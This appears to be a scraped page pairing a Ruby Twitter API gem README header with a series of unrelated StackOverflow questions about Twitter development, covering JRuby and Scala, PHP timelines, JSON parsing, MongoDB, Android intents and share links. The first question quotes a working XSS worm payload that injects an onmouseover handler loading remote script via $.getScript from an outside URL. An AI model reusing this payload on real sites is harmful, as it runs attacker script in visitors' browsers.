twitter
A Ruby interface to the Twitter API.
File: README
— Documentation for twitter (5.14.0)
Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Is this technically an XSS attack or something else?
Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/
Source: (StackOverflow)
Here is the only way I know to ask it at the moment. As Understand it Scala uses the Java Virtual Machine. I thought Jruby did also. Twitter switched its middleware to Scala. Could they have done the same thing and used Jruby?
Could they have started with Jruby to start with and not had their scaling problems that caused them to move from Ruby to Scala in the first place? Do I not understand what Jruby is? I'm assuming that because Jruby can use Java it would have scaled where Ruby would not.
Does it all boil down to the static versus dynamic types, in this case?
Source: (StackOverflow)
Because of the Twitter API 1.0 retirement as of June 11th 2013, the script below does not work anymore.
// Create curl resource
$ch = curl_init();
// Set url
curl_setopt($ch, CURLOPT_URL, "http://twitter.com/statuses/user_timeline/myscreenname.json?count=10");
// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// Close curl resource to free up system resources
curl_close($ch);
if ($output)
{
$tweets = json_decode($output,true);
foreach ($tweets as $tweet)
{
print_r($tweet);
}
}
How can I get the user_timeline (recent statuses) with the least code possible?
I found this: https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline
but I get the following error:
"{"errors":[{"message":"Could not authenticate you","code":32}]}"
There are a lot of classes out there but after trying several none of them seem to work because of these updates at Twitter, plus some of them are pretty advanced classes with a lot of functionality that I don't really need.
What is the simplest/shortest way to get the recent user statuses with PHP?
Source: (StackOverflow)
I'm trying to parse json returned from a curl request, like sp:
curl 'http://twitter.com/users/username.json' | sed -e 's/[{}]/''/g' | awk -v k="text" '{n=split($0,a,","); for (i=1; i<=n; i++) print a[i]}'
I have it set working where it splits the json into fields, i.e. the above returns
% ...
"geo_enabled":false
"friends_count":245
"profile_text_color":"000000"
"status":"in_reply_to_screen_name":null
"source":"web"
"truncated":false
"text":"My status"
"favorited":false
% ...
But what I would like to do is grab a specific field (denoted by the -v k=text) and only print that.
Any ideas?
Source: (StackOverflow)
I've been playing around storing tweets inside mongodb, each object looks like this:
{
"_id" : ObjectId("4c02c58de500fe1be1000005"),
"contributors" : null,
"text" : "Hello world",
"user" : {
"following" : null,
"followers_count" : 5,
"utc_offset" : null,
"location" : "",
"profile_text_color" : "000000",
"friends_count" : 11,
"profile_link_color" : "0000ff",
"verified" : false,
"protected" : false,
"url" : null,
"contributors_enabled" : false,
"created_at" : "Sun May 30 18:47:06 +0000 2010",
"geo_enabled" : false,
"profile_sidebar_border_color" : "87bc44",
"statuses_count" : 13,
"favourites_count" : 0,
"description" : "",
"notifications" : null,
"profile_background_tile" : false,
"lang" : "en",
"id" : 149978111,
"time_zone" : null,
"profile_sidebar_fill_color" : "e0ff92"
},
"geo" : null,
"coordinates" : null,
"in_reply_to_user_id" : 149183152,
"place" : null,
"created_at" : "Sun May 30 20:07:35 +0000 2010",
"source" : "web",
"in_reply_to_status_id" : {
"floatApprox" : 15061797850
},
"truncated" : false,
"favorited" : false,
"id" : {
"floatApprox" : 15061838001
}
How would I write a query which checks the created_at and finds all objects between 18:47 and 19:00? Do I need to update my documents so the dates are stored in a specific format?
Source: (StackOverflow)
I am new to OAuth and have been playing around with the Twitter API. I am able to fetch the credentials of an user after authentication by making a request to http://api.twitter.com/1/account/verify_credentials.xml
. The response contains the user id, screen name etc. but not the email ID.
Is it possible at all to retrieve the email ID of the user?
Update
I believe Facebook provides this information if you specifically request for extended permissions. Is there something similar for Twitter?
Source: (StackOverflow)
I try to install twitter bower on my Mac,
and I use npm install bower -g
then I try bower --help
,
It output bower command not found
..
why~~?
Source: (StackOverflow)
The twitter API site lists 3 java twitter libaries.
Do you know others? What are your experiences in support, ease of use, stability, community, etc.
Source: (StackOverflow)
Is it possible to show a list of applications (with intent.createChooser
) that only show me my twitter apps on my phone (so htc peep (htc hero) or twitdroid). I have tried it with intent.settype("application/twitter")
but it doesnt find any apps for twitter and only shows my mail apps.
Thank you,
Wouter
Source: (StackOverflow)
Integrating Multiple Social networks into Android with a single common Framework or API or JAR
For iPhone we have ShareKit, which integrates multiple sharing options in one framework.
http://www.getsharekit.com/
For android i have no idea if something similar exists. I am building an application which shares information to social networks, like some posts and tweets. Its a simple game, where gamers publish updates about their achievements and levels.. etc.. I used Facebook and twitter APIs but they take up lots of memory and difficult to manage. Also i cannot handle them efficiently. Any help on how to integrate them would be appreciated.
I would like to have a few suggestions on this..
Another Example seems PinkelStar
http://www.pinkelstar.com/
(Not maintained anymore)
Thanks
Source: (StackOverflow)
I was looking for some way to launch Twitter app and open a specified page from my aplication, without webview.
I found the solution for Facebook here:
Opening facebook app on specified profile page
I need something similar.
Thank you very much.
EDIT
I just found a solution:
try {
Intent intent = new Intent(Intent.ACTION_VIEW,
Uri.parse("twitter://user?screen_name=[user_name]"));
startActivity(intent);
}catch (Exception e) {
startActivity(new Intent(Intent.ACTION_VIEW,
Uri.parse("https://twitter.com/#!/[user_name]")));
}
Thanks for your comments.
Source: (StackOverflow)
I'm trying to put a Twitter share link in an email. Because this is in an email I can't rely on JavaScript, and have to use the "Build Your Own" Tweet button.
For example, sharing a link to Google:
<a rel='nofollow' href="http://www.twitter.com/share?url=http://www.google.com/>Tweet</a>
This works fine. The problem I'm having is when the URL has a query string.
<a rel='nofollow' href="http://www.twitter.com/share?url=http://mysite.org/foo.htm?bar=123&baz=456">Tweet</a>
URLs with query strings confuse Twitter's URL shortening service, t.co. I've tried URL encoding this in various ways and cannot get anything to work. The closest I have gotten is by doing this.
<a rel='nofollow' href="http://www.twitter.com/share?url=http://mysite.org/foo.htm%3Fbar%3D123%26baz%3D456">Tweet</a>
Here I've encoded only the query string. When I do this, t.co successfully shortens the URL, but upon following the shortened link, it takes you to the encoded URL. I see http://mysite.org/foo.htm%3Fbar%3D123%26baz%3D456
in the address bar, and get the following error in the browser
Not Found
The requested URL /foo.htm?bar=123&baz=456 was not found on this server.
I'm at a loss as to how to solve this problem.
Edit: Re: onteria_
I've tried encoding the entire URL. When I do that no URL shows up in the Tweet.
Source: (StackOverflow)
I am building a Twitter app (with oAuth) and I cannot find any info on how I can get the current user's info.
By current user, I mean the user which granted my app permissions and for whom the app is making the requests to the API.
Any suggestions?
Source: (StackOverflow)
A tweet can be opened by Safari with a link of this format:
http://twitter.com/1Direction_X/statuses/197752514391715842
On iOS 5, Twitter is built-in. How can I open the above tweet using the native Twitter app called from my app?
Source: (StackOverflow)
I have been looking for an explanation for why twitter had to migrate part of its middle ware from Rails to Scala. What prevented them from scaling the way facebook has, by adding servers as its user base expanded. More specifically what about the Ruby/Rails technology prevented the twitter team from taking this approach?
Source: (StackOverflow)